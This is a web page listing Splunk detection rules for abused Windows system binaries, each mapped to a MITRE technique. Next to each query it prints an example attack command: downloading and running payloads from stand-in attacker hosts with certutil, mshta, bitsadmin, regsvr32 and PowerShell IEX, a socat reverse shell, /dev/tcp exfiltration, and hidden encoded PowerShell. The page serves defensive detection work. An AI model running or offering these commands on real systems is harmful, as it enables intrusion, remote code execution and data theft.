Splunk RepositoryLog Targets: EventCode=1, EventCode=4688, sourcetype=syslog521 Verified Rules

Splunk Enterprise Security (SPL) Query Collection

Production-ready Splunk Search Processing Language (SPL) searches targeting endpoint execution telemetry from Windows Sysmon, Security Audit 4688, and Linux auditd logs.

Copy-paste verified syntax tested across Windows Sysmon, Security Audit 4688, and Unix auditd logs.

OS:

Tactic:

Splunk Rule Catalog

Showing 1–25 of 521 rules

Windowscertutil.exeDownload

MITRE T1105

Download an executable payload from a remote URL to the user temporary directory, bypassing browser security controls.

certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe

certutil.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\certutil.exe" (CommandLine="*-urlcache*" OR CommandLine="*/urlcache*") (CommandLine="*-split*" OR CommandLine="*/split*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowscertutil.exeDefense Evasion

MITRE T1140

Decode a Base64-encoded file into a binary executable on disk to bypass perimeter inspection mechanisms.

certutil.exe -decode %TEMP%\encoded.txt %TEMP%\beacon.exe

certutil.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\certutil.exe" (CommandLine="*-decode*" OR CommandLine="*/decode*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowsmshta.exeExecute

MITRE T1218.005

Executes inline VBScript code via mshta to spawn a hidden PowerShell process and run memory-resident payloads.

mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))

mshta.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\mshta.exe" (CommandLine="*vbscript:*" OR CommandLine="*javascript:*" OR CommandLine="*about:*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowsmshta.exeExecute

MITRE T1218.005

Fetch and execute an HTML application payload directly over HTTP without saving the payload as a recognized executable file.

mshta.exe http://malicious.domain/payload.hta

mshta.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\mshta.exe" (CommandLine="*http://*" OR CommandLine="*https://*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowsrundll32.exeExecute

MITRE T1218.011

Execute remote scriptlet code via javascript protocol calling mshtml.dll RunHTMLApplication export.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")

rundll32.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\rundll32.exe" (CommandLine="*javascript:*" OR CommandLine="*RunHTMLApplication*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowsrundll32.exeExecute

MITRE T1218.011

Execute an exported entrypoint function inside a dropped DLL located in an untrusted directory.

rundll32.exe C:\Users\Public\malware.dll,StartW

rundll32.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\rundll32.exe" (CommandLine="*\Users\Public\*" OR CommandLine="*\Temp\*" OR CommandLine="*\ProgramData\*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowsbitsadmin.exeDownload

MITRE T1197

Creates a high-priority background transfer job to download a remote payload into the Windows Temp folder.

bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe

bitsadmin.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\bitsadmin.exe" CommandLine="*/transfer*" CommandLine="*http*"
2| table _time, host, user, ParentImage, Image, CommandLine

Windowsregsvr32.exeExecute

MITRE T1218.010

Execute remote scriptlet payload from a web server via scrobj.dll, bypassing application whitelisting and registry changes.

regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dll

regsvr32.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\regsvr32.exe" (CommandLine="*scrobj.dll*" OR CommandLine="*/i:http*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowspowershell.exeExecute

MITRE T1059.001

Bypasses execution policy, creates a web client, downloads a remote script directly into memory, and evaluates it with Invoke-Expression.

powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"

powershell.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) (Image="*\powershell.exe" OR Image="*\pwsh.exe") (CommandLine="*DownloadString*" OR CommandLine="*Net.WebClient*")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowspowershell.exeDefense Evasion

MITRE T1059.001

Executes a Unicode Base64-encoded command string to evade command-line pattern matching.

powershell.exe -noni -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==

powershell.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) (Image="*\powershell.exe" OR Image="*\pwsh.exe") (CommandLine="*-enc *" OR CommandLine="*-EncodedCommand *")
2| table _time, host, user, ParentImage, Image, CommandLine

Windowswmic.exeExecute

MITRE T1047

Abuses WMIC process call create to launch child processes with WmiPrvSE.exe as parent, breaking normal process lineage.

wmic.exe process call create "powershell.exe -w hidden -enc ..."

wmic.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\wmic.exe" CommandLine="*process*call*create*"
2| table _time, host, user, ParentImage, Image, CommandLine

Windowscscript.exeExecute

MITRE T1059.005

Runs a VBScript quietly without banner or user alerts from a temporary location.

cscript.exe //B //Nologo %TEMP%\recon.vbs

cscript.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) (Image="*\cscript.exe" OR Image="*\wscript.exe") (CommandLine="*\Temp\*" OR CommandLine="*\AppData\*")
2| table _time, host, user, ParentImage, Image, CommandLine

WindowsAddinUtil.exeExecute

MITRE T1218

AddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.

AddinUtil.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\AddinUtil.exe" (CommandLine="*AddinUtil*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsAppInstaller.exeDownload

MITRE T1105

AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

start ms-appinstaller://?source={REMOTEURL:.exe}

AppInstaller.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\AppInstaller.exe" (CommandLine="*AppInstaller*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsApplaunch.exeDefense Evasion

MITRE T1127.002

Launches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"

Applaunch.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Applaunch.exe" (CommandLine="*Applaunch*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsAspnet_Compiler.exeDefense Evasion

MITRE T1127

Execute C# code with the Build Provider and proper folder structure in place.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u

Aspnet_Compiler.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Aspnet_Compiler.exe" (CommandLine="*Aspnet_Compiler*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsAt.exeExecute

MITRE T1053.002

Create a recurring task to execute every day at a specific time.

C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}

At.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\At.exe" (CommandLine="*At*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsAtbroker.exeExecute

MITRE T1218

Start a registered Assistive Technology (AT).

ATBroker.exe /start malware

Atbroker.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Atbroker.exe" (CommandLine="*Atbroker*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsBash.exeExecute

MITRE T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"

Bash.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsBash.exeExecute

MITRE T1202

Executes a reverse shell

bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

Bash.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsBash.exeExecute

MITRE T1202

Exfiltrate data

bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'

Bash.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsBash.exeDefense Evasion

MITRE T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"

Bash.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsBash.exeExecute

MITRE T1218

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

bash.exe

Bash.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\Bash.exe" (CommandLine="*Bash*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsCertOC.exeExecute

MITRE T1218

Loads the target DLL file

certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}

CertOC.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\CertOC.exe" (CommandLine="*CertOC*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

WindowsCertOC.exeDownload

MITRE T1105

Downloads text formatted files

certoc.exe -GetCACAPS {REMOTEURL:.ps1}

CertOC.exe • Splunk Rulesplunk

1index=* (EventCode=1 OR EventCode=4688) Image="*\\CertOC.exe" (CommandLine="*CertOC*")
2| table _time, host, user, ParentImage, Image, CommandLine
3| sort - _time

Page 1 of 21 (521 total rules)

Explore Other SIEM & EDR Detection Formats

Microsoft Defender & Sentinel (Kusto Query Language)

Kusto Query Language queries optimized for Microsoft Defender XDR Advanced Hunting and Microsoft Sentinel. Rules filter by process names, weaponized parameters, and parent process anomalies.

Sigma YAML v2 Standard Detection Rules

Universal Sigma YAML rule definitions conforming to the SigmaHQ v2 specification. Designed for automated compilation to Sentinel, Splunk, Elastic, QRadar, and CrowdStrike via pySigma.

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers